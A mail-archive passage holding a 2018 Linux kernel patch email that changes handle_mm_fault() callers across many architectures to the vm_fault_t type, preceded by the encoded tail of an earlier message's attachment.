2bkpUVi8Z7Pjt/Fel4p1gvHj4fP3LzPxAS7qcVmAEHUj+wQtUkwCjOkqSPg9CketVZz6anLg
0JBwMogLntPQKO09c1tY+GDwwxSqUbkfiTAF+Ow8hQWQ9DNm0Th7uu0Zz+6MMCLD/rV7uX3/
9+7f5/e/EIRe/oNHLRUf11dM3sTH/O4ffnRojdctaqnhQAKcH6qgX7LJa6qWdKOyCE9Xdvef
e1HZobeNXXccPj4P1sccaR6rW9bfxjusfW/jjoLQGMGaDUbw7p+7h5+/xi/e4s6AmnzulkXK
LhWHkjAU1LlY5dBtUWmI+wpw3RnqXzea1IzSBjyHu5M0H/WYsM4eF8nS+/BET//+eHk8uH18
2h08Ph04oWov4jtmkCGXwvBPwMc+Lgx9GOizztN1mJQrvllriv+Qchjcgz5rJa5TRsxk9Hfq
oeqTNQmmar8uS597zcNWDiXgkcmoTu11GZx1PCgODTAL8mBp1KnH/ZdJXxLJPQ4mpZ3ruZaL
2fFF1qYeQaqvGOi/vqS/HowHo6s2bmOPQn/8EZZN4EHbrOAM6eFSqT20aL5M8jHSafDz5Tvm
DLr98rL7ehA/3OJ0gVPwwX/vXr4fBM/Pj7d3RIq+vHzxpk0YZn6DGVi4CuC/4yPYBW9mJyJV
nWOo46tkY3Q+WuomY8KAOWUFxcPRs1+Vuf/94WLuY40/EkKj3+PQfzbl4ZHGvjVevDUKhE31
uiLlvQus/OX5+9SnZIFf5MoCt9bLN9k+9Wt09233/OK/wfPfYXC3KbO6NTpRey0NqO/xJClT
BTqYRqkxPZfmIjg5grLo1MAsvjPUB/l4AoMtTvGvv1Zl0YwnOWSwSKgxwiCcWvDJsc/dy7o+
aNbSCb4WfDbz+wbgEx/MfKxZVrNL/3kSh8eN9O7HdxHfeNz2/LEOWNcY22nezhODWzmb9btj
cb1IjBEwELxIBMOwC7I4TRN/dwlRAzj5UN34YwVRv7Ej44MX9gq/XgWfDUmhDtI6MMbCsEwa
y2NslBJXpbhWGTvYb826FOaB4/7gt1JzXZjN3uP7Bhw9ATCbnEjLPLaTcskbVlHuytVjF6f+
6BOuXXtsNS5u1ZeHr4/3B/nP+z93T0OyaKsmQV4nXVhaolJUzfW1NaeYq66jWKsTUawdBgke
+ClpYOFDLZHQUDKZpbOE0oFgV2Gk1lOS28hhtcdINEVcOiRL49SB4u+MaBDSJx4xWx7I9Zkv
L5I92XYCHlTlU2Tfx9KmdyVe1BoTGfmCBlaQSaGKcbz6fGOtE3syrM2vUOPQfnEoPj3YJLB/
hlPNkTQir65H6sI8Pzvb2ix94cKzk5GvQn9iI77J7OI22et9l2TLJg4nZhXQ/VxtvK6rOK25
uUoPdEmJYWQSCgb+2pNdk9p9hZ6JiT/aaewGi3gbxv4ZgMoNhZOJ1AdSdh+TWLbztOep27lk
I91FGOOtQ4LeU2i4IfPtrcP6w+jSZVOdpUTMb4WcIqaMXdgoCmuJ5bPMriGmGv+LjgjPB39h
opy7bw8ufyM5fwkj3KyI2pT0O/Sew1t4+Pk9PgFs3d+7f//4sbvfX2pQKK1pnZZPrz8e6qed
Mog1jfe8xzH4tVyOl0ujUuy3lXlFT+Zx0IJJBtD7WtM11nqT+Tn7OGWhTTQRJ9ssTkFQJo9A
ZLPQiL625G/q5jdlIPKwDsQNWkY5pUtSCAMdnBdtkCafVYSvNdfgYRHzolif1FBkHgljPEY7
P32VXFYYzKdOxBUUL3rzOp37x6u3bqYopV2VFW5oCWbly0S3I8tWZDNwyIbVaLMqYDzkPEi0
gzAm2P6Q7rBNLSxqCdTPYZLMerjRdrHQgOX/AbiGz9RdiQMA

--IS0zKkzwUGydFO0o
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline


From - Thu Nov 08 21:41:35 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Souptick Joarder <jrdr.linux-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
Newsgroups: gmane.linux.kernel.iommu,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.uml.user,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH v2] mm: convert return type of handle_mm_fault() caller to
	vm_fault_t
Date: Sun, 17 Jun 2018 14:18:10 +0530
Lines: 655
Approved: news@gmane.org
Message-ID: <20180617084810.GA6730@jordon-HP-15-Notebook-PC>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1529225047 22238 195.159.176.226 (17 Jun 2018 08:44:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 17 Jun 2018 08:44:07 +0000 (UTC)
User-Agent: Mutt/1.5.21 (2010-09-15)
Cc: linux-mips-6z/3iImG2C8G8FEW9MqTrA@public.gmane.org, linux-ia64-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-sh-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-mm-Bw31MaZKKs3YtjvyW6yDsg@public.gmane.org,
	sparclinux-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-riscv-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-s390-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, sabyasachi.linux-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
	linux-hexagon-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-snps-arc-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-xtensa-PjhNF2WwrV/0Sa2dR60CXw@public.gmane.org, linux-alpha-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	linux-m68k-cunTk1MwBs8S/qaLPR03pWD2FQJk+8+b@public.gmane.org, openrisc-cunTk1MwBs9a3B2Vnqf2dGD2FQJk+8+b@public.gmane.org,
	user-mode-linux-user-5NWGOfrQmneRv+LV9MX5uipxlwaOVQ5f@public.gmane.org,
	linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r@public.gmane.org,
	linux-parisc-u79uwXL29TY76Z2rM5mHXA@public.gmane.org, linux-kernel-u79uwXL29TY76Z2rM5mHXA@public.gmane.org,
	iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org, brajeswar.linux-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org,
	nios2-dev-g9ZBwUv/Ih/yUk5EbOjzuce+I+R0W71w@public.gmane.org, linuxppc-dev-uLR06cmDAlY/bJ5BZ2RsiQ@public.gmane.org
To: willy-wEGCiKHe2LqWVfeAwA7xHQ@public.gmane.org, rth-hL46jP5Bxq7R7s880joybQ@public.gmane.org, tony.luck-ral2JQCrhuEAvxtiuMwx3w@public.gmane.org,
	mattst88-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org, vgupta-HKixBCOQz3hWk0Htik3J/w@public.gmane.org, linux-I+IVW8TIWO2tmTQ+vhA3Yw@public.gmane.org,
	catalin.marinas-5wv7dgnIgG8@public.gmane.org, will.deacon-5wv7dgnIgG8@public.gmane.org, rkuo-sgV2jX0FEOL9JmXXK+q4OQ@public.gmane.org,
	geert-Td1EMuHUCqxL1ZNQvxDV9g@public.gmane.org, monstr-pSz03upnqPeHXe+LvDLADg@public.gmane.org, jhogan-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org,
	lftan-EIB2kfCEclfQT0dZR+AlfA@public.gmane.org, jonas-A9uVI2HLR7kOP4wsBPIw7w@public.gmane.org, jejb-6jwH94ZQLHl74goWV3ctuw@public.gmane.org,
	benh-XVmvHMARGAS8U2dJNN8I7kB+6BGkLq7r@public.gmane.org, palmer-SpMDHPYPyPbQT0dZR+AlfA@public.gmane.org,
	ysato-Rn4VEauK+AKRv+LV9MX5uooqe+aC9MnS@public.gmane.org, davem-fT/PcQaiUtIeIZ0/mPfg9Q@public.gmane.org, richard-/L3Ra7n9ekc@public.gmane.org,
	gxt-NXN67KNX7eEnDS1+zs4M5A@public.gmane.org, tglx-hfZtesqFncYOwBW4kG4KsQ@public.gmane.org, hpa-YMNOUZJC4hwAvxtiuMwx3w@public.gmane.org,
	alexander.levin-H+0wwilmMs1BDgjK7y7TUQ@public.gmane.org, akpm-de/tnXTf+JLsfHDXvbKv3WD2FQJk+8+b@public.gmane.org
Original-X-From: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org Sun Jun 17 10:43:59 2018
Return-path: <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
Envelope-to: glki-iommu@m.gmane.org
Original-Received: from mail.linuxfoundation.org ([140.211.169.12])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>)
	id 1fUTHx-0005X9-1G
	for glki-iommu@m.gmane.org; Sun, 17 Jun 2018 10:43:57 +0200
Original-Received: from mail.linux-foundation.org (localhost [127.0.0.1])
	by mail.linuxfoundation.org (Postfix) with ESMTP id 8AE75A73;
	Sun, 17 Jun 2018 08:46:06 +0000 (UTC)
X-Original-To: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Delivered-To: iommu-i9wRM+HIrmnmtl4Z8vJ8Kg761KYD1DLY@public.gmane.org
Original-Received: from smtp1.linuxfoundation.org (smtp1.linux-foundation.org
	[172.17.192.35])
	by mail.linuxfoundation.org (Postfix) with ESMTPS id 6E84C9F0
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Sun, 17 Jun 2018 08:46:05 +0000 (UTC)
X-Greylist: whitelisted by SQLgrey-1.7.6
Original-Received: from mail-pg0-f66.google.com (mail-pg0-f66.google.com [74.125.83.66])
	by smtp1.linuxfoundation.org (Postfix) with ESMTPS id 0126C334
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Sun, 17 Jun 2018 08:46:03 +0000 (UTC)
Original-Received: by mail-pg0-f66.google.com with SMTP id q4-v6so6215488pgr.1
	for <iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>;
	Sun, 17 Jun 2018 01:46:03 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20161025;
	h=date:from:to:cc:subject:message-id:mime-version:content-disposition
	:user-agent; bh=IwWRMwOt7qqK7+lJV/6/lqkPFFIu3ez0NwVdXdsbVZ8=;
	b=GBPvXdTHlLPVF1I9eNlWMkCDpEOL25fGNrFuhhF7aCj/Gu6zDiN8heL4nu+nBet39E
	RVMpQjkuz/n8NgUZzg/T5dH/E1Ti4/Ld89puEFV5bbmBOVvafjl/C06KBZw3nu28Lv8p
	p07Qfwzkq+fcHAFclBmIB4zugxUQxvAXq4TnWzU6nujohkgkrnIEpbFp/VMJ9qtL4m+d
	rvQzTAMvB+LNl3T1TuuoV3R/veML6XZZ3andwBT6Rrmh7zzt2/gvGIk9BAg/L9KGLfSj
	KYzi0MKFe1AP/oTwVIjR/0pd/2ZaTEveoZbdri724rLtOMCNP3/lfNiOPoEk3Z8+/jnH
	h9nw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
	d=1e100.net; s=20161025;
	h=x-gm-message-state:date:from:to:cc:subject:message-id:mime-version
	:content-disposition:user-agent;
	bh=IwWRMwOt7qqK7+lJV/6/lqkPFFIu3ez0NwVdXdsbVZ8=;
	b=jep9lzn9eQBcrmy1dPcFDxOH0gLiwR9eu6UQiRvd1WNVavfj8EYJKsHNqsv8sTndmW
	TAuf9WXVrgyS9bKSOgUzl7HbGpatFkEClJ8lZ9MHbeQffxIUm9JaQTEXZmEiRWpMRH3T
	qhCMkC/Mg3BfbfDXKi6YB3cjue9qtUWQb2nnDWhGBch8Llj64Gu2QEB4agty+UtRr/qh
	6dAPvS4GhBGpM/bPl34g9Mvi8E/TOItbhyWN37dXhcAMdiD8wgtachRByI3GUIvxsxpa
	XoRJEHN7rjjixS9IhKncK5xaNRtYyyRLhGDYoH6tXVMVNG7mC5eLcXQJYC20Lu3+3Trj
	DK+Q==
X-Gm-Message-State: APt69E1Gz6U7KFW/dhQic0VBjC+Gwax/EpJ9KOjBxf13VJ18cB81uC4/
	9lFZixkSdKTcbO41HFHydZQ=
X-Google-Smtp-Source: ADUXVKK8IdMP8K32/fBUWe8Q+GLx20Y/UxgX0TQu4gCMTzNK9DLk2dBG/IB4NiKU1Athj6oyKlFF+g==
X-Received: by 2002:a63:41c1:: with SMTP id
	o184-v6mr7426433pga.323.1529225163197; 
	Sun, 17 Jun 2018 01:46:03 -0700 (PDT)
Original-Received: from jordon-HP-15-Notebook-PC
	([2402:3a80:d03:83b1:5cd5:68e3:b6e6:9f4a])
	by smtp.gmail.com with ESMTPSA id
	x124-v6sm15662590pgb.53.2018.06.17.01.45.57
	(version=TLS1 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
	Sun, 17 Jun 2018 01:46:01 -0700 (PDT)
Content-Disposition: inline
X-BeenThere: iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
X-Mailman-Version: 2.1.12
Precedence: list
List-Id: Development issues for Linux IOMMU support
	<iommu.lists.linux-foundation.org>
List-Unsubscribe: <https://lists.linuxfoundation.org/mailman/options/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=unsubscribe>
List-Archive: <http://lists.linuxfoundation.org/pipermail/iommu/>
List-Post: <mailto:iommu-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org>
List-Help: <mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=help>
List-Subscribe: <https://lists.linuxfoundation.org/mailman/listinfo/iommu>,
	<mailto:iommu-request-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org?subject=subscribe>
Original-Sender: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Errors-To: iommu-bounces-cunTk1MwBs9QetFLy7KEm3xJsTq8ys+cHZ5vskTnxNA@public.gmane.org
Xref: news.gmane.org gmane.linux.kernel.iommu:24903 gmane.linux.ports.mips.general:65070 gmane.linux.ports.ia64:28863 gmane.linux.ports.sh.devel:57112 gmane.linux.kernel.mm:197696 gmane.linux.ports.sparc:28022 gmane.linux.ports.riscv:33 gmane.linux.ports.hexagon:1773 gmane.linux.kernel.arc:3973 gmane.linux.ports.alpha:5119 gmane.linux.uml.user:15460 gmane.linux.ports.arm.kernel:656600 gmane.linux.ports.parisc:28698 gmane.linux.kernel:2795835 gmane.linux.ports.ppc64.devel:158973
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.iommu/24903>

Use new return type vm_fault_t for fault handler. For
now, this is just documenting that the function returns
a VM_FAULT value rather than an errno. Once all instances
are converted, vm_fault_t will become a distinct type.

Ref-> commit 1c8f422059ae ("mm: change return type to vm_fault_t")

In this patch all the caller of handle_mm_fault()
are changed to return vm_fault_t type.

Signed-off-by: Souptick Joarder <jrdr.linux-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
---
v2: Fixed kbuild error

 arch/alpha/mm/fault.c                     |  3 ++-
 arch/arc/mm/fault.c                       |  4 +++-
 arch/arm/mm/fault.c                       |  7 ++++---
 arch/arm64/mm/fault.c                     |  6 +++---
 arch/hexagon/mm/vm_fault.c                |  2 +-
 arch/ia64/mm/fault.c                      |  2 +-
 arch/m68k/mm/fault.c                      |  4 ++--
 arch/microblaze/mm/fault.c                |  2 +-
 arch/mips/mm/fault.c                      |  2 +-
 arch/nds32/mm/fault.c                     |  2 +-
 arch/nios2/mm/fault.c                     |  2 +-
 arch/openrisc/mm/fault.c                  |  2 +-
 arch/parisc/mm/fault.c                    |  2 +-
 arch/powerpc/include/asm/copro.h          |  4 +++-
 arch/powerpc/mm/copro_fault.c             |  2 +-
 arch/powerpc/mm/fault.c                   |  7 ++++---
 arch/powerpc/platforms/cell/spufs/fault.c |  2 +-
 arch/riscv/mm/fault.c                     |  3 ++-
 arch/s390/mm/fault.c                      | 13 ++++++++-----
 arch/sh/mm/fault.c                        |  4 ++--
 arch/sparc/mm/fault_32.c                  |  3 ++-
 arch/sparc/mm/fault_64.c                  |  3 ++-
 arch/um/kernel/trap.c                     |  2 +-
 arch/unicore32/mm/fault.c                 |  9 +++++----
 arch/x86/mm/fault.c                       |  5 +++--
 arch/xtensa/mm/fault.c                    |  2 +-
 drivers/iommu/amd_iommu_v2.c              |  2 +-
 drivers/iommu/intel-svm.c                 |  4 +++-
 drivers/misc/cxl/fault.c                  |  2 +-
 drivers/misc/ocxl/link.c                  |  3 ++-
 mm/hmm.c                                  |  8 ++++----
 mm/ksm.c                                  |  2 +-
 32 files changed, 69 insertions(+), 51 deletions(-)

diff --git a/arch/alpha/mm/fault.c b/arch/alpha/mm/fault.c
index cd3c572..2a979ee 100644
--- a/arch/alpha/mm/fault.c
+++ b/arch/alpha/mm/fault.c
@@ -87,7 +87,8 @@
 	struct vm_area_struct * vma;
 	struct mm_struct *mm = current->mm;
 	const struct exception_table_entry *fixup;
-	int fault, si_code = SEGV_MAPERR;
+	int si_code = SEGV_MAPERR;
+	vm_fault_t fault;
 	siginfo_t info;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
diff --git a/arch/arc/mm/fault.c b/arch/arc/mm/fault.c
index a0b7bd6..3a18d33 100644
--- a/arch/arc/mm/fault.c
+++ b/arch/arc/mm/fault.c
@@ -15,6 +15,7 @@
 #include <linux/uaccess.h>
 #include <linux/kdebug.h>
 #include <linux/perf_event.h>
+#include <linux/mm_types.h>
 #include <asm/pgalloc.h>
 #include <asm/mmu.h>
 
@@ -66,7 +67,8 @@ void do_page_fault(unsigned long address, struct pt_regs *regs)
 	struct task_struct *tsk = current;
 	struct mm_struct *mm = tsk->mm;
 	siginfo_t info;
-	int fault, ret;
+	int ret;
+	vm_fault_t fault;
 	int write = regs->ecr_cause & ECR_C_PROTV_STORE;  /* ST/EX */
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
diff --git a/arch/arm/mm/fault.c b/arch/arm/mm/fault.c
index b75eada..758abcb 100644
--- a/arch/arm/mm/fault.c
+++ b/arch/arm/mm/fault.c
@@ -219,12 +219,12 @@ static inline bool access_error(unsigned int fsr, struct vm_area_struct *vma)
 	return vma->vm_flags & mask ? false : true;
 }
 
-static int __kprobes
+static vm_fault_t __kprobes
 __do_page_fault(struct mm_struct *mm, unsigned long addr, unsigned int fsr,
 		unsigned int flags, struct task_struct *tsk)
 {
 	struct vm_area_struct *vma;
-	int fault;
+	vm_fault_t fault;
 
 	vma = find_vma(mm, addr);
 	fault = VM_FAULT_BADMAP;
@@ -259,7 +259,8 @@ static inline bool access_error(unsigned int fsr, struct vm_area_struct *vma)
 {
 	struct task_struct *tsk;
 	struct mm_struct *mm;
-	int fault, sig, code;
+	int sig, code;
+	vm_fault_t fault;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
 	if (notify_page_fault(regs, fsr))
diff --git a/arch/arm64/mm/fault.c b/arch/arm64/mm/fault.c
index 2af3dd8..8da263b 100644
--- a/arch/arm64/mm/fault.c
+++ b/arch/arm64/mm/fault.c
@@ -371,12 +371,12 @@ static void do_bad_area(unsigned long addr, unsigned int esr, struct pt_regs *re
 #define VM_FAULT_BADMAP		0x010000
 #define VM_FAULT_BADACCESS	0x020000
 
-static int __do_page_fault(struct mm_struct *mm, unsigned long addr,
+static vm_fault_t __do_page_fault(struct mm_struct *mm, unsigned long addr,
 			   unsigned int mm_flags, unsigned long vm_flags,
 			   struct task_struct *tsk)
 {
 	struct vm_area_struct *vma;
-	int fault;
+	vm_fault_t fault;
 
 	vma = find_vma(mm, addr);
 	fault = VM_FAULT_BADMAP;
@@ -419,7 +419,7 @@ static int __kprobes do_page_fault(unsigned long addr, unsigned int esr,
 	struct task_struct *tsk;
 	struct mm_struct *mm;
 	struct siginfo si;
-	int fault, major = 0;
+	vm_fault_t fault, major = 0;
 	unsigned long vm_flags = VM_READ | VM_WRITE;
 	unsigned int mm_flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
diff --git a/arch/hexagon/mm/vm_fault.c b/arch/hexagon/mm/vm_fault.c
index 3eec33c..5d1de6c 100644
--- a/arch/hexagon/mm/vm_fault.c
+++ b/arch/hexagon/mm/vm_fault.c
@@ -52,7 +52,7 @@ void do_page_fault(unsigned long address, long cause, struct pt_regs *regs)
 	struct mm_struct *mm = current->mm;
 	siginfo_t info;
 	int si_code = SEGV_MAPERR;
-	int fault;
+	vm_fault_t fault;
 	const struct exception_table_entry *fixup;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
diff --git a/arch/ia64/mm/fault.c b/arch/ia64/mm/fault.c
index dfdc152..e085d89 100644
--- a/arch/ia64/mm/fault.c
+++ b/arch/ia64/mm/fault.c
@@ -87,7 +87,7 @@ static inline int notify_page_fault(struct pt_regs *regs, int trap)
 	struct mm_struct *mm = current->mm;
 	struct siginfo si;
 	unsigned long mask;
-	int fault;
+	vm_fault_t fault;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
 	mask = ((((isr >> IA64_ISR_X_BIT) & 1UL) << VM_EXEC_BIT)
diff --git a/arch/m68k/mm/fault.c b/arch/m68k/mm/fault.c
index 03253c4..1fc7ac0 100644
--- a/arch/m68k/mm/fault.c
+++ b/arch/m68k/mm/fault.c
@@ -73,7 +73,7 @@ int do_page_fault(struct pt_regs *regs, unsigned long address,
 {
 	struct mm_struct *mm = current->mm;
 	struct vm_area_struct * vma;
-	int fault;
+	vm_fault_t fault;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
 	pr_debug("do page fault:\nregs->sr=%#x, regs->pc=%#lx, address=%#lx, %ld, %p\n",
@@ -139,7 +139,7 @@ int do_page_fault(struct pt_regs *regs, unsigned long address,
 	 */
 
 	fault = handle_mm_fault(vma, address, flags);
-	pr_debug("handle_mm_fault returns %d\n", fault);
+	pr_debug("handle_mm_fault returns %x\n", fault);
 
 	if ((fault & VM_FAULT_RETRY) && fatal_signal_pending(current))
 		return 0;
diff --git a/arch/microblaze/mm/fault.c b/arch/microblaze/mm/fault.c
index f91b30f..92a8682 100644
--- a/arch/microblaze/mm/fault.c
+++ b/arch/microblaze/mm/fault.c
@@ -91,7 +91,7 @@ void do_page_fault(struct pt_regs *regs, unsigned long address,
 	siginfo_t info;
 	int code = SEGV_MAPERR;
 	int is_write = error_code & ESR_S;
-	int fault;
+	vm_fault_t fault;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
 	regs->ear = address;
diff --git a/arch/mips/mm/fault.c b/arch/mips/mm/fault.c
index 4f8f5bf..0bc5030 100644
--- a/arch/mips/mm/fault.c
+++ b/arch/mips/mm/fault.c
@@ -43,7 +43,7 @@ static void __kprobes __do_page_fault(struct pt_regs *regs, unsigned long write,
 	struct mm_struct *mm = tsk->mm;
 	const int field = sizeof(unsigned long) * 2;
 	siginfo_t info;
-	int fault;
+	vm_fault_t fault;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
 	static DEFINE_RATELIMIT_STATE(ratelimit_state, 5 * HZ, 10);
diff --git a/arch/nds32/mm/fault.c b/arch/nds32/mm/fault.c
index 3a246fb..96796d3 100644
--- a/arch/nds32/mm/fault.c
+++ b/arch/nds32/mm/fault.c
@@ -73,7 +73,7 @@ void do_page_fault(unsigned long entry, unsigned long addr,
 	struct mm_struct *mm;
 	struct vm_area_struct *vma;
 	siginfo_t info;
-	int fault;
+	vm_fault_t fault;
 	unsigned int mask = VM_READ | VM_WRITE | VM_EXEC;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
diff --git a/arch/nios2/mm/fault.c b/arch/nios2/mm/fault.c
index b804dd0..24fd84c 100644
--- a/arch/nios2/mm/fault.c
+++ b/arch/nios2/mm/fault.c
@@ -47,7 +47,7 @@ asmlinkage void do_page_fault(struct pt_regs *regs, unsigned long cause,
 	struct task_struct *tsk = current;
 	struct mm_struct *mm = tsk->mm;
 	int code = SEGV_MAPERR;
-	int fault;
+	vm_fault_t fault;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
 	cause >>= 2;
diff --git a/arch/openrisc/mm/fault.c b/arch/openrisc/mm/fault.c
index d0021df..21e8f16 100644
--- a/arch/openrisc/mm/fault.c
+++ b/arch/openrisc/mm/fault.c
@@ -53,7 +53,7 @@ asmlinkage void do_page_fault(struct pt_regs *regs, unsigned long address,
 	struct mm_struct *mm;
 	struct vm_area_struct *vma;
 	siginfo_t info;
-	int fault;
+	vm_fault_t fault;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
 
 	tsk = current;
diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index e247edb..ff9e634 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -262,7 +262,7 @@ void do_page_fault(struct pt_regs *regs, unsigned long code,
 	struct task_struct *tsk;
 	struct mm_struct *mm;
 	unsigned long acc_type;
-	int fault = 0;
+	vm_fault_t fault = 0;
 	unsigned int flags;
 
 	if (faulthandler_disabled())
diff --git a/arch/powerpc/include/asm/copro.h b/arch/powerpc/include/asm/copro.h
index ce216df..48616fe 100644
--- a/arch/powerpc/include/asm/copro.h
+++ b/arch/powerpc/include/asm/copro.h
@@ -10,13 +10,15 @@
 #ifndef _ASM_POWERPC_COPRO_H
 #define _ASM_POWERPC_COPRO_H
 
+#include <linux/mm_types.h>
+
 struct copro_slb
 {
 	u64 esid, vsid;
 };
 
 int copro_handle_mm_fault(struct mm_struct *mm, unsigned long ea,
-			  unsigned long dsisr, unsigned *flt);
+			  unsigned long dsisr, vm_fault_t *flt);
 
 int copro_calculate_slb(struct mm_struct *mm, u64 ea, struct copro_slb *slb);
 
diff --git a/arch/powerpc/mm/copro_fault.c b/arch/powerpc/mm/copro_fault.c
index 7d0945b..c8da352 100644
--- a/arch/powerpc/mm/copro_fault.c
+++ b/arch/powerpc/mm/copro_fault.c
@@ -34,7 +34,7 @@
  * to handle fortunately.
  */
 int copro_handle_mm_fault(struct mm_struct *mm, unsigned long ea,
-		unsigned long dsisr, unsigned *flt)
+		unsigned long dsisr, vm_fault_t *flt)
 {
 	struct vm_area_struct *vma;
 	unsigned long is_write;
diff --git a/arch/powerpc/mm/fault.c b/arch/powerpc/mm/fault.c
index c01d627..17cce1b 100644
--- a/arch/powerpc/mm/fault.c
+++ b/arch/powerpc/mm/fault.c
@@ -159,7 +159,7 @@ static noinline int bad_access(struct pt_regs *regs, unsigned long address)
 }
 
 static int do_sigbus(struct pt_regs *regs, unsigned long address,
-		     unsigned int fault)
+		     vm_fault_t fault)
 {
 	siginfo_t info;
 	unsigned int lsb = 0;
@@ -189,7 +189,8 @@ static int do_sigbus(struct pt_regs *regs, unsigned long address,
 	return 0;
 }
 
-static int mm_fault_error(struct pt_regs *regs, unsigned long addr, int fault)
+static int mm_fault_error(struct pt_regs *regs, unsigned long addr,
+				vm_fault_t fault)
 {
 	/*
 	 * Kernel page fault interrupted by SIGKILL. We have no reason to
@@ -402,7 +403,7 @@ static int __do_page_fault(struct pt_regs *regs, unsigned long address,
  	int is_exec = TRAP(regs) == 0x400;
 	int is_user = user_mode(regs);
 	int is_write = page_fault_is_write(error_code);
-	int fault, major = 0;
+	vm_fault_t fault, major = 0;
 	bool store_update_sp = false;
 
 	if (notify_page_fault(regs))
diff --git a/arch/powerpc/platforms/cell/spufs/fault.c b/arch/powerpc/platforms/cell/spufs/fault.c
index 870c0a8..0195076 100644
--- a/arch/powerpc/platforms/cell/spufs/fault.c
+++ b/arch/powerpc/platforms/cell/spufs/fault.c
@@ -111,7 +111,7 @@ int spufs_handle_class1(struct spu_context *ctx)
 {
 	u64 ea, dsisr, access;
 	unsigned long flags;
-	unsigned flt = 0;
+	vm_fault_t flt = 0;
 	int ret;
 
 	/*
diff --git a/arch/riscv/mm/fault.c b/arch/riscv/mm/fault.c
index 148c98c..88401d5 100644
--- a/arch/riscv/mm/fault.c
+++ b/arch/riscv/mm/fault.c
@@ -41,7 +41,8 @@ asmlinkage void do_page_fault(struct pt_regs *regs)
 	struct mm_struct *mm;
 	unsigned long addr, cause;
 	unsigned int flags = FAULT_FLAG_ALLOW_RETRY | FAULT_FLAG_KILLABLE;
